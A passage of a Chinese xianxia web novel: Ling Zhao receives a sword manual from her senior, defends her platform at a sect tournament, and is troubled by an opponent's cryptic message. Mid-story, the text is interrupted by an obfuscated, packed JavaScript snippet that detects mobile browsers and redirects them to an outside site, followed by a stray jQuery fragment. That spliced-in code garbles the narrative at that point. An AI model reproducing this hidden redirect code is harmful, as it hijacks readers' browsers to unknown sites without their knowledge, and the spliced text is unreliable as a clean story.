她微微一怔,翻开书页。只看了前三式,她眼睛就亮了,上乘剑招。 这剑谱和她前几日在藏书阁翻过的那些完全不同。藏书阁的剑谱大多是入门级的基础剑式,或是一些中规中矩的宗门套路。 而这本剑招灵动,一招一式可谓浑然天成。 “这是……”她抬头看向北山霁。 “我练过的,”北山霁抿了下唇解释,“觉得适合你。” 凌昭不得不承认,确实合适,而且她很喜欢。她翻过藏书阁所有的剑谱,没有一本让她心动。但这本,她一眼就知道是好东西。 “师兄,这剑谱……”她再三思量后问出来,“不是藏书阁的?” “不是。”北山霁答得干脆。 凌昭还等着他的后话。 但他没有。 他只是看着她,那双眼睛澄澈如浅潭,但凌昭对上的瞬间,却觉着幽深如深渊。 “你可以安心练。”他说。 凌昭沉默一瞬,心里盘算着不过一本剑谱而已。虽说无功不受禄,大不了回归散修后,遂了他的意,和他痛快打一场。 她很快说服了自己,嘴角真切上扬,“那就多谢师兄了。” 北山霁“嗯”了一声,话锋一转,“还有一事。” “师兄您说。”凌昭心情好,快速回了一句。 北山霁看了她一眼,似乎在斟酌措辞。 “明日是无极峰大比,只比剑术不分境界,主要是为了分配剑心试炼塔的名额,今年多了条规矩。”他顿了顿,“内外门弟子可挑战亲传,打赢者可直接获得名额。” 凌昭微微一怔,很快反应过来。 试练塔名额有限,除去亲传,剩下几个名额要在一群弟子中抉择出。这条规矩,就是抛出了一条捷径,她想说还挺人性化? “所以?”她问。 “所以你会被挑战。”北山霁说得直接,“你虽是挂名,但也算亲传。明日定然有人挑你。” 凌昭眨了眨眼,暗暗吐槽:她收回刚刚的话。 但凌昭也能理解,她在那些人眼里只是个刚入剑道的“新人”,简直就是一条通天路摆在他们面前。 换成凌昭,她也会去挑战。 “师兄这是来提醒我小心?”凌昭弯了弯嘴角,故意道。 北山霁看着她,没有否认。 “不必藏拙。” 21. 第二十一章 次日清晨,凌昭抵达无极峰大比场地时,第一次对大宗弟子人数有了直观的认识。 场地四周围了不少人,不仅是无极峰弟子,其他峰也来了不少,都为了凑这热闹。 好在提前问长岁宁要了亲传看台的方位,凌昭这才得以没有迷路。这处比武场地,她还是第一次来。 演武场比寻常练剑场大了三倍不止,中央是几座擂台,擂台四周刻着的阵法纹路,灵光流转。如果凌昭没猜错,应当是压制修为的阵法,毕竟只比剑术。 凌昭刚在亲传看台落座,铃铛作响时,她就知晓是灵菏初来了。 果不其然,下一刻,一个鹅黄色身影闪过,凌昭身侧就多了一个身影。 “你来了怎么不去找我?”灵菏初埋怨,“我一直在另一处等你呢!” “亲传看台不是这吗?”凌昭又看了眼玉简,确认没找错地,“你是不是坐错位置了?” “啊?”灵菏初一愣,随即“哎呀”一声,“我忘了!你们参加大比的和我们观战的分开的,我还是没有习惯你如今也是剑修的事实。诶我应该在那边。”她说着指了指对面稍远些的看台。 凌昭失笑:“那你快去吧,待会儿开始了就挤不过去了。” “不急不急,”灵菏初摆摆手,“反正还没开始,我陪你说会儿话。对了,你知道今天有多少人要挑战你吗?” 凌昭挑眉:“很多?” “多!”灵菏初压低声音,眼里却闪着兴奋的光,“我帮你打听过了,内门外门有不少都要挑战你,毕竟都想着柿子要挑软的捏。” 说完,她就后悔了,“呸呸呸!你凌曦就算是柿子,也是最硬的那个!” 凌昭嘴角弯起,一道威严里夹杂着无奈的声音传来,“你这‘柿子论’是来给人家泄气的吗?” “我哪有!”灵菏初说的正起兴,立马反驳回去,抬头一看立马站起来,“爹……你怎么来了。” 顺着灵菏初目光看去,来人正是清商峰峰主,灵问酒。 此人一袭蓝灰衣衫,他身形修长,眉眼间带着常年浸润音律的从容气度。但那双眼睛却是极锐利的,此刻却又带着几分无奈,落在灵菏初身上。 “弟子见过灵师叔。”凌昭起身行礼。 灵问酒摆摆手,示意她不必多礼。接着伸手揪住灵菏初的后领,把她从凌昭身后拽出来。 “行了,别在这儿打扰人家,待会儿就要开始大比了。” “我没有打扰,”灵菏初下意识反驳。 灵菏初被灵问酒拎着后领往外走,还不忘回头朝凌昭挥手比口型:“加——油——!” 凌昭失笑,朝她点点头。 . 大比正式开始前,钱长老站在主台上,宣读今日规则。 “剑心试炼塔名额限十五位。今日大比,仅针对内门外门。规则如下:三位亲传:北山霁、长岁宁、凌曦,各守一擂,内外门占一擂。外门弟子可任意挑战其中一人,胜者直接获得名额;若挑战失败,仍可参与后续内门大比争夺剩余名额。内门弟子亦同。每人挑战次数不限。” 话音落下,全场目光齐刷刷落在亲传看台的三道身影上。 北山霁率先起身,跃上正中擂台。长岁宁紧随其后,挠着头选了左侧那座,嘴里嘟囔:“怎么我也要守擂啊……” 凌昭弯了弯嘴角,也跟着飞身跃上右侧擂台。她刚站定,台下便响起一阵窃窃私语。 “那就是玉衡峰的凌曦师姐?听说她才学了七天剑就被长老夸呢……” “天赋归天赋,七天能学到什么?我练了五年都不敢说稳赢。” “一个医修,真以为得了传承就能当剑修了?笑话。” “那不是送名额吗?” …… 讨论声此起彼伏,凌昭都一一收入耳中,面上神色不变,内心轻啧一声。 她垂眸看了眼手中的铁剑,剑身映出自己的眉眼。这张脸,这副表情,都是妹妹的。可妹妹若真站在这里,面对这些质疑,她会怎么做? 大概会温温柔柔地笑一笑,然后该怎样还怎样。 凌昭勾了勾唇角,那就这样吧。 第一场挑战来得很快。 一个身形魁梧的外门弟子跃上擂台,抱拳道:“外门赵虎,请师姐赐教!” 凌昭微微颔首:“请。” 赵虎也不客气,重剑一横,整个人如猛虎下山般扑了过来。剑势沉重,带着呼呼风声,直取凌昭肩头。 太慢了。 凌昭心里闪过这个念头,同时脚下只是侧移半步,剑尖斜挑,正中他手腕内侧的穴位。 赵虎只觉得手腕一麻,重剑脱手。 全场一静。 剑先落地者输。 凌昭收剑:“承让。” 赵虎愣愣地看着自己的手,又看看地上那把剑,脸涨得通红。他张了张嘴,想说什么,最终只灰溜溜地跳下擂台。 赵虎在外门小有名气,如今他下台后,台下彻底安静了,皆在小声议论着。 “一招?” “我都没看清她怎么出的剑……” “巧合吧?” …… 原先准备上的弟子,现在已经犹犹豫豫不敢上前,都在等。凌昭也落得一会儿清闲。 四座擂台,凌昭这边安静了,只剩下内外门那座擂台打得火热。那座擂台上守擂修士换了一个又一个。 终于,不知道换了多少个之后,凌昭擂台上上来了第二个人。 “内门周行,还请师姐赐教。”周行规规矩矩行礼。 凌昭眼皮一抬,有些意外。 她当然记得他。秘境里,她救了他和他师弟一命,换来的却是那小师弟的指责和这位周师兄“等价交换”的提议。虽说他礼数周全、姿态放得低,但那种令人不爽的微妙态度,凌昭记得清楚。 不喜就是不喜。 她扫了一眼他完好的手臂。那日在秘境,这只手臂还露着骨头。如今倒好得利落。凌昭嘴角弯起,心里想的却是:能打就行。 周行却没有立刻动手,而是拱手一礼,低声道:“师姐,冒犯了。这个名额……我真的很需要。” 凌昭一脸不解,对方说这话是什么意思? 试问,在场的剑修谁不需要? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232837|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然一道传音砸进耳朵,“当时没有获得三面猿的妖丹,进入塔中是我最后的机会。” 周行这个传音在凌昭心里激起层层涟漪。 他是随口一说,还是……知道什么? 周行已经出剑,凌昭面上神色不变,只微微侧身避开刺来的一剑。剑锋擦着她衣袖掠过,她借势后退半步,与周行拉开距离,同时嘴唇微动,传音入耳: “你方才那话什么意思?” 周行没有回应,只是一剑接一剑攻来。他的剑法扎实,一招一式沉稳有力,比方才的赵虎强了不止一星半点。凌昭有意拖延时间,想问个明白,落在外人眼里,二人是打的旗鼓相当。 台下响起议论声。 “这个周行居然能和凌师姐打这么久?” “不是,我怎么感觉师姐在让着他?” 长岁宁看着干着急,“大师兄,凌师姐怎么一直留手啊!” 北山霁眉心微皱,很是不解凌昭的举动。 凌昭充耳不闻,她又传音一句,这已经不知是第几次传音。 “你那话什么意思。” 周行依旧不语,从沉稳转为凌厉,竟似拼尽全力。凌昭心下微沉,看出来对方是不愿说了。 凌昭手腕用力,剑身灵活避开对方,一剑敲在对方腕骨。 周行手腕一麻,长剑“哐当”落地。 全场安静了一瞬,随即爆发出欢呼声。 周行肩膀微微颤抖,他缓慢地弯腰拾起剑,朝凌昭拱手一礼:“多谢师姐赐教。” 凌昭站在原地,握着剑的手微微收紧,心中沉了下去,对上北山霁探究目光时,凌昭才恢复神情,浅浅一笑。 接下来几日,凌昭守擂再没有机会去找周行。 擂台赛持续了两日。她那一剑立威后,敢上来挑战的人寥寥无几。偶尔有几个,也都是三两招便结束 两日后,十五个名额尘埃落定。 凌昭下了擂台,打听到周行刚接了宗门任务出宗了,需要五六日,那是剑心试炼塔也开启了。 好在,凌昭在剑心试练塔名单上看到了周行。 她暂时放下此事,一切只能等。 接下来的五日,凌昭过得格外平淡。 她平日就在玉衡峰练北山霁给的剑招,研习医术。养成了每晚翻看无字书的习惯,只是那本书再没有动静,仿佛那六个字已经是尽头。 期间倒是有一件事,在宗门内引起一阵热议——那日的洒扫弟子,在水牢自爆而亡。 凌昭听到这个消息时,正在翻看北山霁给的剑谱。她握着书页的手指顿了顿,片刻后,才继续翻过去。 意料之中。 但心里还是沉了沉。 塔开启前一晚,凌昭在殿外练剑至深夜。 明日就要入塔了。但凌昭心中一直堵着,所有线索都悬在半空,没有着落。 她一剑刺出,剑尖破空,带起一声清越的嗡鸣。这才收了剑,回到寝殿,照常翻看无字书。 这一次,书页终于有了变化。 她指尖按住那几个字,启唇念出: “剑道兴,问心镜。”